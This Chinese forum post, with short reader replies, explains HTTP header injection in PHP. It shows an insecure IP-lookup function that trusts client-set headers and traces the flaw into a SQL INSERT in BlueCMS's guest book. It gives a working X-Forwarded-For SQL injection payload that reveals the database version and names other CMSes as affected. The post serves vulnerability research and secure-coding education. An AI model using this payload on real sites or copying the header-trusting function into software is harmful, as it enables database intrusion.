首页
论坛
专栏
课程

[投稿][原创]PHP中的HTTP的头注入漏洞浅谈

2018-1-1 14:33 8374

[投稿][原创]PHP中的HTTP的头注入漏洞浅谈

2018-1-1 14:33
8374

说明

在百度或者是谷歌搜索php 获取客户端ip,搜索到的代码大致是如下:

function getIp() {
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return ($ip);
}

需要注意的是,上述的代码是存在问题的。因为对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$_SERVER方式获取。这些请求头都是可以通过请求头进行设置。方法很简单,取消其中的HTTP_,将其中的_替换为-即可,然后每个字母首字母大写即可。
如下:

$_SERVER['HTTP_CLIENT_IP']              对应于请求头中的Client-Ip
$_SERVER['HTTP_X_FORWARDED_FOR']       对应于请求头中的X-Forwarded-For

而不可控的是$_SERVER['REMOTE_ADDR'],因为不是从请求头中取值。
但是如果Client-IpX-Forwarded-For存在值就能够保证触发漏洞了,这种漏洞主要是出现在cms中的sql注入中。

HTTP头注入

需要说明的是目前HTTP的头注入一般都是见于这种小型的cms中,像大型的cms一般不会出现这样的问题。这种头注入的问题如果意识到了就十分容易防范。对于我们的白帽子来说,由于是直接从$_SERVER中进行取值,而一般的过滤都是针对于GPC,所以HTTP头中的数据一般都能够进行注入。所以这也告诫我们的程序员,很多时候直接从网上搜索的代码是不安全的,程序员们在参考网上代码时最好是对代码进行分析,代码不仅仅只是为了实现功能,还要注重安全。

实例说明

下面以bluecms为例进行说明。

 

在guest_book.php中的act为send的代码如下:

elseif ($act == 'send') {
    $user_id = $_SESSION['user_id'] ? $_SESSION['user_id'] : 0;
    $rid = intval($_POST['rid']);
     $content = !empty($_POST['content']) ? htmlspecialchars($_POST['content']) : '';
     $content = nl2br($content);
     if(empty($content))
     {
         showmsg('评论内容不能为空');
     }
    $sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) 
            VALUES ('', '$rid', '$user_id', '$timestamp', '$online_ip', '$content')";
    $db->query($sql);
    showmsg('恭喜您留言成功', 'guest_book.php?page_id='.$_POST['page_id']);
}

其中的sql语句中的$online_ip是在45行定义,$online_ip = getip();,跟踪进入到getip()中:
include/common.fun.php

function getip()
{
    if (getenv('HTTP_CLIENT_IP'))
    {
        $ip = getenv('HTTP_CLIENT_IP'); 
    }
    elseif (getenv('HTTP_X_FORWARDED_FOR')) 
    { //获取客户端用代理服务器访问时的真实ip 地址
        $ip = getenv('HTTP_X_FORWARDED_FOR');
    }
    elseif (getenv('HTTP_X_FORWARDED')) 
    { 
        $ip = getenv('HTTP_X_FORWARDED');
    }
    elseif (getenv('HTTP_FORWARDED_FOR'))
    {
        $ip = getenv('HTTP_FORWARDED_FOR'); 
    }
    elseif (getenv('HTTP_FORWARDED'))
    {
        $ip = getenv('HTTP_FORWARDED');
    }
    else
    { 
        $ip = $_SERVER['REMOTE_ADDR'];
    }
    return $ip;
}

所以这是一个很明显的XFF的漏洞。

漏洞证明

在留言处,设置XFF为X-Forwarded-For: 1','content'),('', '0', '2', '1513505345', version(), 'content21')#,如下所示:

 

访问guest_book.php成功地显示出数据库的版本号。

 

 

这样的cms还有很多,如beecms,appcms。大家有兴趣可以自行地分析以上的cms,也期待和师傅们的交流。



[招聘]欢迎市场人员加入看雪学院团队!

最新回复 (7)
我只会易 2018-1-1 16:52
2
0
666,XFF能通过浏览器直接设置吗?还是要自己写程序然后改掉HTTP头?
(不是很懂这些,可能问的有点怪。)
静河流 1 2018-1-2 10:33
3
0
我只会易 666,XFF能通过浏览器直接设置吗?还是要自己写程序然后改掉HTTP头? (不是很懂这些,可能问的有点怪。)
X-Forwarded-For  Header,Modify  Headers,自行搜索插件用法,可以修改Client-Ip和X-Forwarded-For值。
静河流 1 2018-1-2 10:36
4
0
http头注入漏洞网上有一些教程都用了demo代码进行分析,此篇文章作者利用自己挖的cms漏洞去分析总结,特给予优秀。
petersonhz 2018-4-12 04:15
5
0
静河流 http头注入漏洞网上有一些教程都用了demo代码进行分析,此篇文章作者利用自己挖的cms漏洞去分析总结,特给予优秀。
我也想得个优秀
静河流 1 2018-4-12 10:21
6
0
petersonhz 我也想得个优秀[em_1]
你是专注论坛灌水
想飞的超超 2018-4-15 16:52
7
0
学习了
徐凯 2019-4-30 11:38
8
0
学习了
游客
登录 | 注册 方可回帖
返回